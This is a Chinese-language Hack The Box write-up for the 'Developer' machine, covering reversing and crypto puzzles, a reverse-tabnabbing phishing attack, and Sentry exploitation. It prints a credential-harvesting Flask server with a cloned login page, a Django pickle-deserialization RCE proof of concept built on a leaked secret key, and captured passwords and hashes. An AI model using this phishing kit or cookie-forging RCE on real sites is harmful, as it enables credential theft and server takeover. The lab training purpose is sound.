Machine - Developer

https://app.hackthebox.com/machines/Developer | Linux | Hard

Recon

➜  Developer nmap -sT -min-rate 5000 -p- 10.10.11.103
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-21 12:45 CST 
Nmap scan report for 10.10.11.103
Host is up (0.092s latency).
Not shown: 59816 filtered tcp ports (no-response), 5717 closed tcp ports (conn-refused)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 110.48 seconds

➜  Developer nmap -sT -A -p 22,80 10.10.11.103       
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-21 12:48 CST
Nmap scan report for 10.10.11.103
Host is up (0.23s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 36:aa:93:e4:a4:56:ab:39:86:66:bf:3e:09:fa:eb:e0 (RSA)
|   256 11:fb:e9:89:2e:4b:66:40:7b:6b:01:cf:f2:f2:ee:ef (ECDSA)
|_  256 77:56:93:6e:5f:ea:e2:ad:b0:2e:cf:23:9d:66:ed:12 (ED25519)
80/tcp open  http    Apache httpd 2.4.41
|_http-title: Did not follow redirect to http://developer.htb/
|_http-server-header: Apache/2.4.41 (Ubuntu)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 2 hops
Service Info: Host: developer.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using proto 1/icmp)
HOP RTT      ADDRESS
1   99.02 ms 10.10.16.1
2   99.78 ms 10.10.11.103

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.70 seconds

访问 HTTP

可以创建账户，注册一个用户 sunset ，创建完毕后会直接进入后台

里面会有一些CTF题？让你做？

CTF

PES

题目会给出一个EXE文件合一串加密后的字符串：X/o8VJQE1pyQhjmpcwk45+L069bivpF63PjZP4z7ahKaC+jv89NT6ze0T5id0lWC

对程序进行反编译，在PS2EXE中的Main中能找到一串base64编码后的字符串

解码后是加密的逻辑，通过AI写出解密脚本即可

# ===================================================================
# Decryption Script for FullCrypto
# We are reversing the logic from the original Encrypt-String function
# ===================================================================

# 加载必要的程序集
[void] [System.Reflection.Assembly]::LoadWithPartialName("System.Security")
Add-Type -AssemblyName System.Security

function Decrypt-String($base64String) {
    # --- 这些是我们在原脚本中找到的硬编码秘密 ---
    $Passphrase = "AmazinglyStrongPassword"
    $salt       = "CrazilySimpleSalt"
    $init       = "StupidlyEasy_IV"
    # ----------------------------------------------

    # 1. 准备 Rijndael (AES) 对象
    $r = New-Object System.Security.Cryptography.RijndaelManaged

    # 2. 准备密码和盐值的字节数组 (必须和加密时完全一样)
    $passBytes = [System.Text.Encoding]::UTF8.GetBytes($Passphrase)
    $saltBytes = [System.Text.Encoding]::UTF8.GetBytes($salt)

    # 3. 生成密钥 (必须和加密时完全一样)
    # 使用 PasswordDeriveBytes, SHA1, 5次迭代, 生成32字节密钥
    $r.Key = (New-Object System.Security.Cryptography.PasswordDeriveBytes $passBytes, $saltBytes, "SHA1", 5).GetBytes(32)

    # 4. 生成 IV (必须和加密时完全一样)
    # 计算 IV 种子的 SHA1 哈希，并取前16个字节
    $r.IV = (New-Object System.Security.Cryptography.SHA1Managed).ComputeHash([System.Text.Encoding]::UTF8.GetBytes($init))[0..15]

    # 5. 从 Base64 字符串解码出加密后的字节数组
    try {
        $encryptedBytes = [System.Convert]::FromBase64String($base64String)
    } catch {
        Write-Error "Invalid Base64 string. Cannot decrypt."
        return
    }

    # 6. 创建解密器并执行解密
    $c = $r.CreateDecryptor()
    $ms = New-Object System.IO.MemoryStream @(,$encryptedBytes)
    $cs = New-Object System.Security.Cryptography.CryptoStream $ms, $c, "Read"
    $sr = New-Object System.IO.StreamReader $cs

    # 7. 读取解密后的明文
    $decryptedString = $sr.ReadToEnd()

    # 8. 清理资源并返回结果
    $sr.Close()
    $cs.Close()
    $ms.Close()
    $r.Clear()

    return $decryptedString
}

# --- 使用方法 ---
# 将你在挑战中得到的加密字符串替换到下面的变量中
$encryptedData = "这里放你要解密的Base64字符串"

# 调用解密函数
$decryptedResult = Decrypt-String -base64String $encryptedData

# 输出解密结果
Write-Host "Decryption Result:" -ForegroundColor Green
Write-Host $decryptedResult

PS D:\System\Downloads\20250620> .\pass.ps1
Decryption Result:
DHTB{P0w3rsh3lL_F0r3n51c_M4dn3s5}

Phished List

给一个xlsx文件，听说文档中包含密码

像是隐写题，上网搜索了下，docs和xlsx基本上就是zip文件，我们对其进行解压

然后找到 phished_credentials\xl\worksheets\sheet1.xml ,在最底下能找到

<sheetProtection 
algorithmName="SHA-512" 
hashValue="Y4Ko7kZUKStIxaVGWEtuMeRdnCiN7O3D8qZtKdo/2jP7WE6yzKQXUcSWQ/E0OrqHCzhOBFX+t8Db5Pxaiu+N1g==" 
saltValue="EoiHQklf0FagPs+iW0OzkA==" 
spinCount="100000" 
sheet="1" 
objects="1" 
scenarios="1"/>

我们将 sheet1.xml 的sheetProtection 块删掉后，再放进去替换掉原本的 sheet1.xml 即可

DHTB{H1dD3N_C0LuMn5_FtW}

Lucky Guess

压缩包解压后是一个程序，我们直接IDA打开

winner函数

AI编写异或脚本

# C 代码中的变量
key = "98hKjr3f8CgfF"
ciphertext = "^w!%-%z2p7/# uw?"

# 用于存放解密结果的变量
plaintext = ""

# 遍历密文中的每一个字符
for i in range(len(ciphertext)):
    # 1. 取出密文字符和对应的密钥字符
    #    使用模运算 (%) 来实现密钥的循环使用
    cipher_char = ciphertext[i]
    key_char = key[i % len(key)]
    
    # 2. 进行异或 (XOR) 运算
    #    ord() 获取字符的ASCII码，^ 是异或操作符
    decrypted_char_code = ord(cipher_char) ^ ord(key_char)
    
    # 3. 应用特殊处理规则
    if decrypted_char_code <= 31:
        decrypted_char_code += 32
        
    # 4. 将解密后的ASCII码转换回字符，并拼接到结果字符串中
    #    chr() 将ASCII码转为字符
    plaintext += chr(decrypted_char_code)

# 按照格式输出最终的 Flag
flag = f"DHTB{{{plaintext}}}"
print(flag)

➜  Developer python getpass.py                                              
DHTB{gOInGWITHtHEfLOW}

Authenication

I developed a new authentication mechanism using rust. Can you reverse my password?

rust 逆向

➜  Developer ./authenticate                                    
Welcome to TheCyberGeek's authentication platform
Enter the password to proceed: 
sdadad
You are unauthorized to use this application!
➜  Developer file authenticate 
authenticate: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=95ac617025cf1bfe1e6749172a7888dfc4fe4dfe, for GNU/Linux 3.2.0, with debug_info, not stripped

进去要你输入密码然后验证，IDA打开，找到验证的部分

其中的这行代码正在执行 v3 == v5 的比较，并把结果（true 或 false）存起来

HIBYTE(v2.pieces.data_ptr) = core::cmp::impls::_$LT$impl$u20$core..cmp..PartialEq$LT$$RF$B$GT$$u20$for$u20$$RF$A$GT$::eq::h372d5aaf05c06316(
                                 &v3,
                                 &v5);

其中一个应该是用户输入的，然后和v3 或者 v5 去比较，所以我们要在v3或者v5 处断点，就可以看到是和什么在对比

➜  Developer pwndbg authenticate 
Reading symbols from authenticate...
pwndbg: loaded 190 pwndbg commands. Type pwndbg [filter] for a list.
pwndbg: created 13 GDB functions (can be used with print/break). Type help function to see them.
------- tip of the day (disable with set show-tips off) -------
If you want Pwndbg to clear screen on each command (but still save previous output in history) use set context-clear-screen on
pwndbg> info functions
...
0x0000000000008e30  main::validate
0x00000000000090f0  main::authenticated                                                                           
0x0000000000009130  main::check_password                                                                          
0x0000000000009240  main::main                 
0x0000000000009360  main   
...
pwndbg> disassemble 0x0000000000009130
...
   0x00000000000091af <+127>:   mov    rcx,QWORD PTR [rsp+0x10]                                                   
   0x00000000000091b4 <+132>:   mov    QWORD PTR [rsp+0x60],rcx                                                   
   0x00000000000091b9 <+137>:   lea    rdi,[rsp+0x38]
   0x00000000000091be <+142>:   lea    rsi,[rsp+0x58]
   0x00000000000091c3 <+147>:   call   0x7a80 <_ZN4core3cmp5impls69_$LT$impl$u20$core..cmp..PartialEq$LT$$RF$B$GT$$u20$for$u20$$RF$A$GT$2eq17h372d5aaf05c06316E>
   0x00000000000091c8 <+152>:   mov    BYTE PTR [rsp+0x7],al                                                      
   0x00000000000091cc <+156>:   jmp    0x91ce <_ZN4main14check_password17h1ae7b2b87f21bd0aE+158>                  
   0x00000000000091ce <+158>:   lea    rdi,[rsp+0x40]  
   0x00000000000091d3 <+163>:   call   0x9db0 <_ZN4core3ptr13drop_in_place17h5e2052686c20525eE>                   
   0x00000000000091d8 <+168>:   mov    al,BYTE PTR [rsp+0x7]                                                      
   0x00000000000091dc <+172>:   test   al,0x1 
...

0x00000000000091c3 是我们想要断点的地方，但是可能有ALSR ，我们不能直接断点

pwndbg> b main
Breakpoint 1 at 0x9360
pwndbg> r
────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────────────────────────────────────────────────────────────
 ► 0x55555555d360 <main>                                                                                          push   rax
   0x55555555d361 <main+1>                                                                                        movsxd rax, edi                 RAX => 1
   0x55555555d364 <main+4>                                                                                        lea    rdi, [rip - 0x12b]       RDI => 0x55555555d240 (main::main) ◂— sub rsp, 0xb8
   0x55555555d36b <main+11>                                                                                       mov    qword ptr [rsp], rsi     [0x7fffffffdf40] <= 0x7fffffffe058 —▸ 0x7fffffffe35d ◂— '/root/Desktop/HackTheBox/Developer/authenticate'
   0x55555555d36f <main+15>                                                                                       mov    rsi, rax                 RSI => 1
   0x55555555d372 <main+18>                                                                                       mov    rdx, qword ptr [rsp]     RDX, [0x7fffffffdf40] => 0x7fffffffe058 —▸ 0x7fffffffe35d ◂— '/root/Desktop/HackTheBox/Developer/authenticate'
   0x55555555d376 <main+22>                                                                                       call   std::rt::lang_start         <std::rt::lang_start>
 
   0x55555555d37b <main+27>                                                                                       pop    rcx
   0x55555555d37c <main+28>                                                                                       ret    
 
   0x55555555d37d                                                                                                 nop    dword ptr [rax]
   0x55555555d380 <<alloc::vec::Vec<T> as alloc::vec::SpecExtend<&T,core::slice::iter::Iter<T>>>::spec_extend>    sub    rsp, 0x28

能看到地址都变成了0x55555555dxxx

0x555555554000 + 0x91c3 = 0x55555555d1c3

然后再在0x55555555d1c3处断点

pwndbg> b *0x55555555d1c3
Breakpoint 2 at 0x55555555d1c3
pwndbg> c
Continuing.
Welcome to TheCyberGeek's authentication platform
Enter the password to proceed: 
what（随便输入）

可以看到 what是和DHTB{rusty_bu5in3s5} 在比较

➜  Developer ./authenticate
Welcome to TheCyberGeek's authentication platform
Enter the password to proceed: 
DHTB{rusty_bu5in3s5}
You have successfully authenticated!

DHTB{rusty_bu5in3s5}

RevMe

直接就能拿到 flag

DHTB{TCG5_S1mPl3_R3v3r51nG_Ch4773nG3}

PwnMe

PWN题目，checksec，NX和PIE都开了

➜  Developer checksec pwnme  
[*] Checking for new versions of pwntools
    To disable this functionality, set the contents of /root/.cache/.pwntools-cache-3.13/update to 'never' (old way).
    Or add the following lines to ~/.pwn.conf or ~/.config/pwn.conf (or /etc/pwn.conf system-wide):
        [update]
        interval=never
[*] You have the latest version of Pwntools (4.14.1)
[*] '/root/Desktop/HackTheBox/Developer/pwnme'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        PIE enabled
    Stripped:   No

但是貌似并不用看这个，也像是逆向题目，下边是main函数

int __fastcall main(int argc, const char **argv, const char **envp)
{
  char *v3; // rax
  char s[8]; // [rsp+10h] [rbp-20h] BYREF
  __int64 v6; // [rsp+18h] [rbp-18h]
  int v7; // [rsp+20h] [rbp-10h]
  char *v8; // [rsp+28h] [rbp-8h]

  if ( argc > 1 )
  {
    if ( (unsigned int)check_password(argv[1], argv, envp) )
    {
      puts("Password correct. Here's a flag:");
      *(_QWORD *)s = 0xC384B2CB92A49894LL;
      v6 = 0x8796C283C680B381LL;
      v7 = 13486015;
      v8 = s;
      while ( *v8 )
      {
        v3 = v8++;
        *v3 -= 80;
      }
      puts(s);
    }
    else
    {
      puts("Wrong password.");
    }
  }
  else
  {
    puts("Please enter your password as a program argument!");
  }
  return 0;
}

主要及时要看check_password

__int64 __fastcall check_password(const char *a1)
{
  char *v1; // rax
  char v3[8]; // [rsp+13h] [rbp-3Dh] BYREF
  char s2[16]; // [rsp+20h] [rbp-30h] BYREF
  char dest[16]; // [rsp+30h] [rbp-20h] BYREF
  char *v6; // [rsp+40h] [rbp-10h]
  unsigned int v7; // [rsp+4Ch] [rbp-4h]

  v7 = 0;
  strcpy(v3, "门赖旅惫杀緝");
  v6 = v3;
  while ( *v6 )
  {
    v1 = v6++;
    *v1 -= 80;
  }
  strcpy(dest, a1);
  strcpy(s2, v3);
  if ( !strcmp(dest, s2) )
    return 1;
  return v7;
}

a1是我们的键入的参数，主要的解密逻辑是在：

  while ( *v6 )
  {
    v1 = v6++;
    *v1 -= 80;
  }

程序遍历这个神秘字符串（v3）的每一个字节，并将每个字节的值减去 80

但是最后还是会在if ( !strcmp(dest, s2) ) 处进行对比，我们还是在那断点，查看一下寄存器的值

我们要在0x00000000000011de 处断点

0x00000000000011d8 <+131>:   mov    rsi,rdx
0x00000000000011db <+134>:   mov    rdi,rax
0x00000000000011de <+137>:   call   0x1050 <strcmp@plt>
0x00000000000011e3 <+142>:   test   eax,eax

和之前一样，因为有ALSR，所以我们要在main处断点

 ► 0x5555555551f7 <main+4>      sub    rsp, 0x30                       RSP => 0x7fffffffdf30 (0x7fffffffdf60 - 0x30)
   0x5555555551fb <main+8>      mov    dword ptr [rbp - 0x24], edi     [0x7fffffffdf3c] <= 1
   0x5555555551fe <main+11>     mov    qword ptr [rbp - 0x30], rsi     [0x7fffffffdf30] <= 0x7fffffffe078 —▸ 0x7fffffffe372 ◂— '/root/Desktop/HackTheBox/Developer/pwnme'
   0x555555555202 <main+15>     cmp    dword ptr [rbp - 0x24], 1       1 - 1     EFLAGS => 0x246 [ cf PF af ZF sf IF df of ac ]
   0x555555555206 <main+19>   ✘ jg     main+38                     <main+38>
 
   0x555555555208 <main+21>     lea    rdi, [rip + 0xdf9]              RDI => 0x555555556008 ◂— 'Please enter your password as a program argument!'
   0x55555555520f <main+28>     call   puts@plt                    <puts@plt>
 
   0x555555555214 <main+33>     jmp    main+175                    <main+175>
    ↓
   0x5555555552a2 <main+175>    mov    eax, 0     EAX => 0
   0x5555555552a7 <main+180>    leave  
   0x5555555552a8 <main+181>    ret

pwndbg> b *0x5555555551de
Breakpoint 2 at 0x5555555551de
pwndbg> c                                  
Continuing.                                                                                                       
                                                                                                                  
Breakpoint 2, 0x00005555555551de in check_password ()                                                             
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA 
───────────────────────────────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────────────────────────────────────────────────────────
*RAX  0x7fffffffdef0 ◂— 0x9700333231 /* '123' */                                                                  
 RBX  0x7fffffffe068 —▸ 0x7fffffffe36e ◂— '/root/Desktop/HackTheBox/Developer/pwnme'
*RCX  0x336e6179696173                                                                                                                                                                                                              
*RDX  0x7fffffffdee0 ◂— 'supersaiyan3'  
*RDI  0x7fffffffdef0 ◂— 0x9700333231 /* '123' */
*RSI  0x7fffffffdee0 ◂— 'supersaiyan3'

我们能看到寄存器上的值是supersaiyan3

➜  Developer ./pwnme supersaiyan3           
Password correct. Here's a flag:
DHTB{b4s1c0v3rF7ow}

Esay Encryption

需要解密DRwdFjIMJiYgOi4dOhI8OjQ=

下载会给出一个异或脚本

#!/usr/bin/python3
from itertools import izip, cycle
import base64

def xor_crypt_string(data, key='**'):
    xored = ''.join(chr(ord(x) ^ ord(y)) for (x,y) in izip(data, cycle(key)))
    return base64.encodestring(xored).strip()

secret_data = "<REDACTED>"
print xor_crypt_string(secret_data)

但是我们不知道key是什么，但是我们能知道前五位是 DHTB{

我们反过来即可得到flag

Triple Whammy

We've been told these keys hold a secret message, can you decode it?

c249e41fc6ee70a6c72d0441360cd7714f56b95f08edfce23e
fb9c2b4b0b07422617884a2ac6e4ea4cbf72563bd55b33894b
7d9d9b16b6b15df288ca3c339f9a7b489e629a0a9bc3a1167f

解压后得到的脚本

import os
from secret import flag

def bxor(ba1, ba2):
    return bytes([_a ^ _b for _a, _b in zip(ba1, ba2)])

key1 = os.urandom(len(flag))
key2 = os.urandom(len(flag))

ct1 = bxor(key1, flag)
ct2 = bxor(ct1, key2)
ct3 = bxor(key2, flag)

print(ct1.hex())
print(ct2.hex())
print(ct3.hex())

AI一把梭哈

#!/usr/bin/python3

def bxor(ba1, ba2):
    """Performs a byte-wise XOR operation on two byte strings."""
    return bytes([_a ^ _b for _a, _b in zip(ba1, ba2)])

# 1. 从题目中获取的三个十六进制密文
hex_ct1 = "c249e41fc6ee70a6c72d0441360cd7714f56b95f08edfce23e"
hex_ct2 = "fb9c2b4b0b07422617884a2ac6e4ea4cbf72563bd55b33894b"
hex_ct3 = "7d9d9b16b6b15df288ca3c339f9a7b489e629a0a9bc3a1167f"

# 2. 将十六进制字符串转换为字节（bytes）对象
ct1 = bytes.fromhex(hex_ct1)
ct2 = bytes.fromhex(hex_ct2)
ct3 = bytes.fromhex(hex_ct3)

# 3. 根据推导，将三个密文全部异或
# flag = ct1 ^ ct2 ^ ct3
# 我们可以分两步来完成
temp_xor_result = bxor(ct1, ct2)
flag_bytes = bxor(temp_xor_result, ct3)

# 4. 将恢复的字节数据解码为UTF-8字符串并打印
try:
    flag = flag_bytes.decode('utf-8')
    print("🎉 Flag has been successfully recovered!")
    print(f"[*] Flag: {flag}")
except UnicodeDecodeError:
    print("❌ Could not decode the result as a UTF-8 string.")
    print(f"[*] Raw bytes (hex): {flag_bytes.hex()}")

🎉 Flag has been successfully recovered!
[*] Flag: DHTB{XorXorXorFunFunFun}

钓鱼攻击

其实做完一道题就可以继续打了

做完后有一个提交writeup的输入框

我们开启Web服务器，并提交改地址上去，看是否有人会访问

不一会就有回显了

➜  Developer python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.103 - - [21/Jun/2025 18:53:48] "GET / HTTP/1.1" 200 -
10.10.11.103 - - [21/Jun/2025 18:53:49] code 404, message File not found
10.10.11.103 - - [21/Jun/2025 18:53:49] "GET /favicon.ico HTTP/1.1" 404 -

但是我们还不知道要如何进行利用

Sessionid开启了httponly ，我们无法通过XSS获取

通过目录扫描能发现，还存在一个登录框，并且是只能admin才能访问

但是现在没什么用，回到后台，我发现当我们提交了writeup后，会在profile中生成一个链接

重要的是这个链接具有target属性，其值为_blank,同时没有使用rel="noopener"属性，这让我想起Reverse_Tabnabbing （标签页劫持攻击）漏洞，之前有在Vulnhub上的一台靶机（https://www.vulnhub.com/entry/napping-101,752/）遇到过

Reverse_Tabnabbing

https://owasp.org/www-community/attacks/Reverse_Tabnabbing

监听一下对方请求

➜  Developer nc -lvp 80    
listening on [any] 80 ...
connect to [10.10.16.58] from developer.htb [10.10.11.103] 47222
GET / HTTP/1.1
Host: 10.10.16.58
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:75.0) Gecko/20100101 Firefox/75.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
If-Modified-Since: Sat, 21 Jun 2025 11:08:45 GMT

回显中有firefox的UA，很大概率使用浏览器来访问的

现在的思路是：提交跳转链接，然后伪造一个和developer.htb 的登录页面一样站点，对方点击后，弹到writeup页面，然后原始页面（dashbroad）变成我们的钓鱼网站，让对方以为登录掉了，然后我们获取凭证

这里借用：https://0xdf.gitlab.io/2022/01/15/htb-developer.html#shell-as-www-data 的方法，我自己弄了好久没弄好

搭建钓鱼服务器

➜  Developer cat server2.py  
from flask import *

app = Flask(__name__, template_folder='.')

@app.route("/writeup")
def writeup():
    return render_template('writeup.html')

@app.route("/accounts/login/", methods=['GET', 'POST'])
def login():

    if request.method == 'POST':
        print('\n'.join([f'{x[0]}: {x[1]}' for x in request.form.items()]))
        return redirect("http://10.10.10.120/accounts/login/", code=302)
    else:
        return render_template('login.html')

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=80)

跳转网站

<html>
  <body>
    <h2>Challenge Writeup</h2>
    <p>Something</p>
    <script>
    if (window.opener) window.opener.parent.location.replace('http://10.10.16.58/accounts/login/');
    if (window.parent != window) window.parent.location.replace('https://10.10.16.58/accounts/login/');           
    </script>
  </body>
</html>

制造钓鱼站点

➜  Developer curl http://developer.htb/accounts/login/ > login.html                                                
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  1938  100  1938    0     0  13686      0 --:--:-- --:--:-- --:--:-- 13744

修改里面的静态内容为绝对路径并将action 改为/accounts/login/

<!doctype html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <meta name="description" content="">
    <meta name="author" content="">
    <link rel="icon" href="http://developer.htb/img/favicon.ico">
    <link rel="stylesheet" href="http://developer.htb/static/css/jquery.toasts.css">
    <script src="http://developer.htb/static/js/all.min.js"></script>
    <script src="http://developer.htb/static/js/jquery-3.2.1.min.js"></script>
    <title>Login | Developer.HTB</title>

    <!-- Bootstrap core CSS -->
    <link rel="stylesheet" href="http://developer.htb/static/css/bootstrap.min.css">

    <!-- Custom styles for this template -->
    <link href="http://developer.htb/static/css/signin.css" rel="stylesheet">
  </head>

  <body class="text-center">

    <form class="form-signin" action="/accounts/login/" method="post">
        <input type="hidden" name="csrfmiddlewaretoken" value="3W4vCYZiDT8dEraVzrXiGZWKWIOnF1L89n59maXHD5msDXNkDs2N5ZV6TmEIQqFE">
      <img class="mb-4" src="http://developer.htb/static/img/logo.png" alt="" width="72" height="72">
      <h1 class="h3 mb-3 font-weight-normal">Welcome back!</h1>
      <label for="uname" class="sr-only">User Name</label>
      <input type="text" id="id_login" name="login" placeholder="Username" class="form-control" required autofocus>
      <label for="password" class="sr-only">Password</label>
      <input type="password" id="id_password" name="password" placeholder="Password" class="form-control" required>

      <button id="loginbtn" class="btn btn-lg btn-primary btn-block" type="submit">Sign in</button>
          <a href="http://developer.htb/saccounts/password/reset/" class="auth-link">Forgot password?</a>
                <div class="text-center mt-4 font-weight-light"> Don't have an account? <a href="http://developer.htb/saccounts/signup/" >Click here!</a>
      <p class="mt-5 mb-3 text-muted">&copy; Developer.HTB 2021</p>
    </form>

<script src="http://developer.htb/static/js/jquery.toast.js"></script>
<script>

</script>
  </body>
</html>

开启钓鱼服务器，并提交/writeup到站点中，过一会就能接收到用户的密码了

➜  Developer python server2.py
 * Serving Flask app 'server2'
 * Debug mode: off
WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead.
 * Running on all addresses (0.0.0.0)
 * Running on http://127.0.0.1:80
 * Running on http://192.168.111.155:80
Press CTRL+C to quit
10.10.11.103 - - [21/Jun/2025 20:49:24] "GET /writeup HTTP/1.1" 200 -
10.10.11.103 - - [21/Jun/2025 20:49:24] "GET /accounts/login/ HTTP/1.1" 200 -
csrfmiddlewaretoken: 3W4vCYZiDT8dEraVzrXiGZWKWIOnF1L89n59maXHD5msDXNkDs2N5ZV6TmEIQqFE
login: admin
password: SuperSecurePassword@HTB2021
10.10.11.103 - - [21/Jun/2025 20:49:25] "POST /accounts/login/ HTTP/1.1" 302 -
10.10.11.103 - - [21/Jun/2025 20:49:28] "GET /accounts/login/ HTTP/1.1" 200 -

这里很奇怪的就是，我自己复现该漏洞无法复现成功

Django Secret Key & RCE

拥有管理员凭据后，我们就能对 /admin进行登陆了

能发现一个新的子域名

搭建的是sentry 一款开源的实时异常监控平台

注册账号登录进去，无法使用上面的凭据

版本 Sentry 8.0.0 在网上能找到它的反序列化漏洞的利用脚本，但是并没有将shell弹回来

这里使用 jacob@developer.htb （可以从Member里得到）的凭据和上边钓鱼得到的密码成功获得sentry更高权限

然后摸索一番后，我创建了新的project然后删除，但是删除的时候出现了错误

还有很多的调试信息

SENTRY_OPTIONS 	

{'cache.backend': 'sentry.cache.redis.RedisCache',
 'cache.options': {},
 'redis.options': {'hosts': {0: {'host': '127.0.0.1',
                                 'password': 'g7dRAO6BjTXMtP3iXGJjrSkz2H9Zhm0CAp2BnXE8h92AOWsPZ2zvtAapzrP8sqPR92aWN9DA207XmUTe',
                                 'port': 6379}}},
 'system.databases': {'default': {'ATOMIC_REQUESTS': False,
                                  'AUTOCOMMIT': True,
                                  'CONN_MAX_AGE': 0,
                                  'ENGINE': 'sentry.db.postgres',
                                  'HOST': 'localhost',
                                  'NAME': 'sentry',
                                  'OPTIONS': {},
                                  'PASSWORD': u'********************',
                                  'PORT': '',
                                  'TEST_CHARSET': None,
                                  'TEST_COLLATION': None,
                                  'TEST_MIRROR': None,
                                  'TEST_NAME': None,
                                  'TIME_ZONE': 'UTC',
                                  'USER': 'sentry'}},
 'system.debug': True,
 'system.secret-key': 'c7f3a64aa184b7cbb1a7cbe9cd544913'}

可以看到内部装了redis ，并且密码也出来了，下边还有个有趣的secret-key

经过一番搜索，secret-key 会导致反序列化的RCE漏洞

其中有一篇文章：https://blog.scrt.ch/2018/08/24/remote-code-execution-on-a-facebook-server/

里边有一个POC ，会让系统睡30秒

#!/usr/bin/python
import django.core.signing, django.contrib.sessions.serializers
from django.http import HttpResponse
import cPickle
import os

SECRET_KEY='c7f3a64aa184b7cbb1a7cbe9cd544913'
#Initial cookie I had on sentry when trying to reset a password
cookie='.eJxrYKotZNQI5UxMLsksS80vSi9kimBjYGAoTs0rKaosZA5lKS5NyY_gAQplR7lVRJYEmrkUFqZFcAEFSlKLS5Lz87MzU8FayvOLslNTQnnjE0tLMuJLi1OL4jNTvFlDhZAEkhKTs1PzUkKVIObrlZZk5hTrgeT1XHMTM3McgSwniJpSPQABCTQf:1uSyim:otT7eddw7eu0o_QNAt1QRz6f1m8'
newContent =  django.core.signing.loads(cookie,key=SECRET_KEY,serializer=django.contrib.sessions.serializers.PickleSerializer,salt='django.contrib.sessions.backends.signed_cookies')
class PickleRce(object):
    def __reduce__(self):
        return (os.system,("sleep 30",))
newContent['testcookie'] = PickleRce()

print django.core.signing.dumps(newContent,key=SECRET_KEY,serializer=django.contrib.sessions.serializers.PickleSerializer,salt='django.contrib.sessions.backends.signed_cookies',compress=True)

➜  Developer python2 POC.py     
.eJxrYKotZNQI5UxMLsksS80vSo9gY2BgKE7NKymqDGUpLk3Jj-ABCmRHuVVElgSauRQWpkVwAQVKUotLkvPzszNTkwvyizMruIori0tSc7kKmUI5inNSUwsUjA0KmVsLWYIKWUOF4hNLSzLiS4tTi-KTEpOzU_NSQpUgduiVlmTmFOuB5PVccxMzcxyBLCeoGl4kfZkp3qylegB0jjs_:1uT0GX:UtsjlwEnnkwtUuqifJt-ZzyYO1s

事实证明，替换了Cookie后，确实加载了30秒

我们尝试让其curl我们的服务器

进行反弹Shell

In www-data Shell

信息收集一波

有两个用户

www-data@developer:/var/sentry$ ls /home
ls /home
karl
mark

数据配置文件可以在/var/www/developer_ctf/developer_ctf/settings.py 中找到

DATABASES = {                                            
    'default': {           
        'ENGINE': 'django.db.backends.postgresql',       
        'NAME': 'platform',             
        'USER': 'ctf_admin',  
        'PASSWORD': 'CTFOG2021',                         
        'HOST': 'localhost',   
        'PORT': '',    
    }                                      
}

www-data@developer:~/developer_ctf$ psql -U ctf_admin -h localhost -p 5432 -d platform
Password for user ctf_admin: 
psql (9.6.22)
SSL connection (protocol: TLSv1.3, cipher: TLS_AES_256_GCM_SHA384, bits: 256, compression: off)
Type "help" for help.

platform=>

获得用户似乎都无效

 id |                                         password                                         |          last_login           | is_superuser |                                                                        username                                                                        | first_name | last_name |          email           | is_staff | is_active |          date_joined          
----+------------------------------------------------------------------------------------------+-------------------------------+--------------+--------------------------------------------------------------------------------------------------------------------------------------------------------+------------+-----------+--------------------------+----------+-----------+-------------------------------
  5 | pbkdf2_sha256$260000$FyKNWfAl4Z87o55I4bDST7$7PrVwU5N1687BSxClTP0tlnFg+9VmOR6lsXiJsSRBNE= | 2021-05-27 20:15:00.346686+00 | f            | clubby789                                                                                                                                              |            |           | clubby789@developer.htb  | f        | t         | 2021-05-27 20:15:00.157993+00
  2 | pbkdf2_sha256$260000$7Pu55SdoDNTu51RrtU5V8A$Fmn66ovbOqfNUKftQYrJcWmk7xzejU0g3F72jL+cdUg= | 2021-05-23 22:25:03.654845+00 | f            | willwam845                                                                                                                                             |            |           | willwam845@developer.htb | f        | t         | 2021-05-23 22:25:03.474364+00
  3 | pbkdf2_sha256$260000$k0RbpkHl5CvArYIwsGxFUb$ixe4YKYn45Fm8aq56GEzF8TUi9lydD2WA2gRxXz/EMc= | 2021-05-25 12:23:52.298531+00 | f            | dmw0ng                                                                                                                                                 |            |           | dmw0ng@developer.htb     | f        | t         | 2021-05-25 12:23:52.090526+00
  4 | pbkdf2_sha256$260000$aFEnXsRKf4YRRUw1qnlJSN$4oL+FVJpqmi4sCt4U9ddPRE1srKZiP+HCXInnCuzdv0= | 2021-05-25 13:52:30.406816+00 | f            | jazzpizazz                                                                                                                                             |            |           | jazzpizazz@developer.htb | f        | t         | 2021-05-25 13:52:30.239297+00
